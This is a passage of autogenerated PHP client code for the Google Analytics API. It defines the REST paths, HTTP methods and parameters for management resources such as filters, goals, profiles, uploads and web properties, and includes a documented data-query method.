'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ), ) ) ); $this->management_customDataSources = new Google_Service_Analytics_ManagementCustomDataSources_Resource( $this, $this->serviceName, 'customDataSources', array( 'methods' => array( 'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ), ) ) ); $this->management_dailyUploads = new Google_Service_Analytics_ManagementDailyUploads_Resource( $this, $this->serviceName, 'dailyUploads', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/dailyUploads/{date}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'date' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'type' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/dailyUploads', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'start-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'end-date' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'upload' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/dailyUploads/{date}/uploads', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'date' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'appendNumber' => array( 'location' => 'query', 'type' => 'integer', 'required' => true, ), 'type' => array( 'location' => 'query', 'type' => 'string', 'required' => true, ), 'reset' => array( 'location' => 'query', 'type' => 'boolean', ), ), ), ) ) ); $this->management_experiments = new Google_Service_Analytics_ManagementExperiments_Resource( $this, $this->serviceName, 'experiments', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments/{experimentId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'experimentId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments/{experimentId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'experimentId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments/{experimentId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'experimentId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/experiments/{experimentId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'experimentId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_filters = new Google_Service_Analytics_ManagementFilters_Resource( $this, $this->serviceName, 'filters', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/filters/{filterId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'filterId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/filters/{filterId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'filterId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/filters', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/filters', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/filters/{filterId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'filterId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/filters/{filterId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'filterId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_goals = new Google_Service_Analytics_ManagementGoals_Resource( $this, $this->serviceName, 'goals', array( 'methods' => array( 'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/goals/{goalId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'goalId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/goals', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/goals', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/goals/{goalId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'goalId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/goals/{goalId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'goalId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_profileFilterLinks = new Google_Service_Analytics_ManagementProfileFilterLinks_Resource( $this, $this->serviceName, 'profileFilterLinks', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks/{linkId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks/{linkId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks/{linkId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/profileFilterLinks/{linkId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_profileUserLinks = new Google_Service_Analytics_ManagementProfileUserLinks_Resource( $this, $this->serviceName, 'profileUserLinks', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/entityUserLinks/{linkId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/entityUserLinks', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/entityUserLinks', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/entityUserLinks/{linkId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_profiles = new Google_Service_Analytics_ManagementProfiles_Resource( $this, $this->serviceName, 'profiles', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_segments = new Google_Service_Analytics_ManagementSegments_Resource( $this, $this->serviceName, 'segments', array( 'methods' => array( 'list' => array( 'path' => 'management/segments', 'httpMethod' => 'GET', 'parameters' => array( 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ), ) ) ); $this->management_unsampledReports = new Google_Service_Analytics_ManagementUnsampledReports_Resource( $this, $this->serviceName, 'unsampledReports', array( 'methods' => array( 'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/unsampledReports/{unsampledReportId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'unsampledReportId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/unsampledReports', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/profiles/{profileId}/unsampledReports', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'profileId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ), ) ) ); $this->management_uploads = new Google_Service_Analytics_ManagementUploads_Resource( $this, $this->serviceName, 'uploads', array( 'methods' => array( 'deleteUploadData' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/deleteUploadData', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/uploads/{uploadId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'uploadId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/uploads', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'migrateDataImport' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/migrateDataImport', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'uploadData' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/customDataSources/{customDataSourceId}/uploads', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'customDataSourceId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_webPropertyAdWordsLinks = new Google_Service_Analytics_ManagementWebPropertyAdWordsLinks_Resource( $this, $this->serviceName, 'webPropertyAdWordsLinks', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks/{webPropertyAdWordsLinkId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyAdWordsLinkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks/{webPropertyAdWordsLinkId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyAdWordsLinkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks/{webPropertyAdWordsLinkId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyAdWordsLinkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityAdWordsLinks/{webPropertyAdWordsLinkId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyAdWordsLinkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_webproperties = new Google_Service_Analytics_ManagementWebproperties_Resource( $this, $this->serviceName, 'webproperties', array( 'methods' => array( 'get' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'patch' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}', 'httpMethod' => 'PATCH', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->management_webpropertyUserLinks = new Google_Service_Analytics_ManagementWebpropertyUserLinks_Resource( $this, $this->serviceName, 'webpropertyUserLinks', array( 'methods' => array( 'delete' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityUserLinks/{linkId}', 'httpMethod' => 'DELETE', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'insert' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityUserLinks', 'httpMethod' => 'POST', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ),'list' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityUserLinks', 'httpMethod' => 'GET', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'max-results' => array( 'location' => 'query', 'type' => 'integer', ), 'start-index' => array( 'location' => 'query', 'type' => 'integer', ), ), ),'update' => array( 'path' => 'management/accounts/{accountId}/webproperties/{webPropertyId}/entityUserLinks/{linkId}', 'httpMethod' => 'PUT', 'parameters' => array( 'accountId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'webPropertyId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), 'linkId' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->metadata_columns = new Google_Service_Analytics_MetadataColumns_Resource( $this, $this->serviceName, 'columns', array( 'methods' => array( 'list' => array( 'path' => 'metadata/{reportType}/columns', 'httpMethod' => 'GET', 'parameters' => array( 'reportType' => array( 'location' => 'path', 'type' => 'string', 'required' => true, ), ), ), ) ) ); $this->provisioning = new Google_Service_Analytics_Provisioning_Resource( $this, $this->serviceName, 'provisioning', array( 'methods' => array( 'createAccountTicket' => array( 'path' => 'provisioning/createAccountTicket', 'httpMethod' => 'POST', 'parameters' => array(), ), ) ) ); } } /** * The "data" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $data = $analyticsService->data; * </code> */ class Google_Service_Analytics_Data_Resource extends Google_Service_Resource { } /** * The "ga" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $ga = $analyticsService->ga; * </code> */ class Google_Service_Analytics_DataGa_Resource extends Google_Service_Resource { /** * Returns Analytics data for a view (profile). (ga.get) * * @param string $ids * Unique table ID for retrieving Analytics data. Table ID is of the form ga:XXXX, where XXXX is * the Analytics view (profile) ID. * @param string $startDate * Start date for fetching Analytics data. Requests can specify a start date formatted as YYYY-MM- * DD, or as a relative date (e.g., today, yesterday, or 7daysAgo). The default value is 7daysAgo. * @param string $endDate * End date for fetching Analytics data. Request can should specify an end date formatted as YYYY- * MM-DD, or as a relative date (e.g., today, yesterday, or 7daysAgo). The default value is * yesterday. * @param string $metrics * A comma-separated list of Analytics metrics. E.g., 'ga:sessions,ga:pageviews'. At least one * metric must be specified. * @param array $optParams Optional parameters. * * @opt_param int max-results * The maximum number of entries to include in this feed. * @opt_param string sort * A comma-separated list of dimensions or metrics that determine the sort order for Analytics * data. * @opt_param string dimensions * A comma-separated list of Analytics dimensions. E.g., 'ga:browser,ga:city'. * @opt_param int start-index * An index of the first entity to retrieve. Use this parameter as a pagination mechanism along * with the max-results parameter. * @opt_param string segment * An Analytics segment to be applied to data. * @opt_param string samplingLevel * The desired sampling level. * @opt_param string filters * A comma-separated list of dimension or metric filters to be applied to Analytics data. * @opt_param string output * The selected format for the response. Default format is JSON. * @return Google_Service_Analytics_GaData */ public function get($ids, $startDate, $endDate, $metrics, $optParams = array()) { $params = array('ids' => $ids, 'start-date' => $startDate, 'end-date' => $endDate, 'metrics' => $metrics); $params = array_merge($params, $optParams); return $this->call('get', array($params), "Google_Service_Analytics_GaData"); } } /** * The "mcf" collection of methods. * Typical usage is: * <code> * $analyticsService = new Google_Service_Analytics(...); * $mcf = $analyticsService->mcf; * </code> */ class Google_Service_Analytics_DataMcf_Resource extends Google_Service_Resource { /** * Returns Analytics Multi-Channel Funnels data for a view (profile). (mcf.get) * * @param string $ids * 